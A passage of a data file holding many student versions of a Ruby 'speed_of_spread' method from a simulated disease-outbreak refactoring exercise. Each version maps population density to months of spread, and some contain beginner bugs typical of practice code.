our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = case @population_density\r\n when 0...50 then 2\r\n when 50...100 then 1.5\r\n when 100...150 then 1\r\n when 150...200 then 0.5\r\n else 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "def speed_of_spread\r\n # in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread(state_density) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n hash = {200=>0.5, 150=>1, 100=>1.5, 50=>2}\n\n hash.each do |density, float|\n if @population_density >= density\n speed = float\n else\n speed = 2.5\n end\n speed\n end\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread\r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread\n # (population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n index = 0\n density = [200, 150, 100, 50, 0]\n speed = [0.5, 1, 1.5, 2, 2.5]\n\n while index < density.length\n if @population_density >= density[index]\n puts \" and will spread across the state in #{speed[index]} months.\\n\\n\"\n break\n end\n index += 1\n end\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n case @population_density\n when 0..49\n speed = 2.5\n when 50..99\n speed = 2\n when 100..149\n speed = 1.5\n when 150..199\n speed = 1\n else\n speed = 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 2.5\r\n\r\n 4.times do |i|\r\n if population_density >= 50*(i+1)\r\n speed -= 0.5\r\n end\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread(@population_density, @state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n case @population_density\n when (151...200)\n speed = 1\n\n when (100...150)\n speed = 1.5\n\n when (50...100)\n speed = 2\n\n when (0..50)\n speed = 2.5\n\n else\n speed = 0.5\n\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def virus_effects\n predicted_deaths(@state_density, @population)\n speed_of_spread(@state_density)\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n speed += 0.5 if @population_density >= 200\n speed += 1 if @population_density >= 150\n speed += 1.5 if @population_density >= 100\n speed += 2 if @population_density >= 50\n speed += 2.5 if @population_density < 50\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread#(population_density, state) #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread(population_density, state) #in months\n speed = 0.0 # forces float\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n case @population_density\n when 200..10000 then speed = 0.5\n when 150...200 then speed = 1\n when 100...150 then speed = 1.5\n when 50...100 then speed = 2\n else\n speed = 2.5 \n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n case @population_density \n when 200..\n speed += 0.5\n when 150..199\n speed += 1\n when 100..149\n speed += 1.5\n when 50..99\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density) #in months\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else \n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n density = 200\n speed = 0.5\n until @population_density >= density\n density -= 50\n speed += 0.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n \n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n speed = case @population_density\n when 0..49 then 2.5\n when 50..99 then 2\n when 100..149 then 1.5\n when 150..199 then 1\n else 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density > 200\n speed += 0.5\n elsif @population_density <= 200 && @population_density >= 50\n speed = (@population_density/50 =+.5)\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n multiples_of_fifty = (population_density / 50).to_i\n speed = 0.5\n if population_density < 200\n speed = 2.5 - (multiples_of_fifty * speed)\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n case when @population_density >= 200\n speed += 0.5\n when @population_density >= 150\n speed += 1\n when @population_density >= 100\n speed += 1.5\n when @population_density >= 50\n speed += 2\n when\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def display_report\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak\"\n print \" and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end", "def speed_of_spread \n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n p \"#{@state} will lose #{@number_of_deaths} people in this outbreak and will spread across the state in #{@speed} months.\"\n end", "def virus_effects\n predicted_deaths(:population_density)\n speed_of_spread(:population_density)\n end", "def speed_of_spread #in months\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # refactoring of speed_of_spread took # speed out of the if confiditional statement and set the return value for each statement to speed just once \n\n speed = if @population_density >= 200\n \t\t\t0.5\n \t\telsif @population_density >= 150\n \t\t\t1\n \t\telsif @population_density >= 100\n \t\t1.5\n \t\telsif @population_density >= 50\n \t\t2\n \t\telse\n \t\t2.5\n \t\tend\n\tputs \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.5\n density = 200\n\n while @population_density <= density\n density -= 50\n speed += 0.5\n end\n\n # speed = 0\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def virus_effects\n print \"#{@state} will lose #{predicted_deaths(@population_density, @population)} people in this outbreak and will spread across the state in #{speed_of_spread(@population_density)} months.\\n\\n\"\n end", "def speed_of_spread #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread#(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread() #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread() #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread() #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n\r\n speed = case @population_density\r\n when 200..15000 then 0.5\r\n when 150..199 then 1.0\r\n when 100..149 then 1.5\r\n when 50..99 then 2.0\r\n else 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n# As population density increases, the rate of spread decreases\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 50\n speed += 2.5 - ((@population_density/50)*0.5)\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case @population_density\n when (150..199)\n speed += 1\n when (100..149)\n speed += 1.5\n when (50..99)\n speed += 2\n when (0..49)\n speed += 2.5\n else\n speed += 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def virus_effects\n predicted_deaths(@population_density,@population,@state)\n speed_of_spread(@population_density, @state)\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "def speed_of_spread #in months\n case @population_density\n when 0 .. 49 then speed = 2.5\n when 50 .. 99 then speed = 2\n when 100 .. 149 then speed = 1.5\n when 150 .. 200 then speed = 1\n else speed = 0.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case @population_density\n when @population_density >= 200\n speed += 0.5\n when @population_density >= 150\n speed += 1\n when @population_density >= 100\n speed += 1.5\n when @population_density >= 50\n speed += 2\n when\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\r\n #(population_density, state) <---- deleted, not necessary\r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n case population_density\r\n when 0..49 then speed += 2.5\r\n when 50..99 then speed += 2\r\n when 100..150 then speed += 1.5\r\n when 151..200 then speed += 1\r\n else speed += 0.5\r\n end\r\n\r\n\r\n # if population_density >= 200\r\n # speed += 0.5\r\n # elsif population_density >= 150\r\n # speed += 1\r\n # elsif population_density >= 100\r\n # speed += 1.5\r\n # elsif population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread\n more_dense = @population_density >= 200\n dense = @population_density >= 150\n medium_dense = @population_density >= 100\n low_dense = @population_density >= 50#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n if more_dense\n speed += 0.5\n elsif dense\n speed += 1\n elsif medium_dense\n speed += 1.5\n elsif low_dense\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{@speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected by additional factors we haven't added into this functionality.\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n if population_density >= 200\n speed = 0.5\n elsif population_density >= 150\n speed = 1\n elsif population_density >= 100\n speed = 1.5\n elsif population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100 \r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n #predicted_deaths_and_speed(@population_density, @population, @state)\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.5\n density = 200\n until @population_density >= density\n speed += 0.5\n density -= 50\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 2.5\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 50 && @population_density < 200\n speed = speed - ((@population_density / 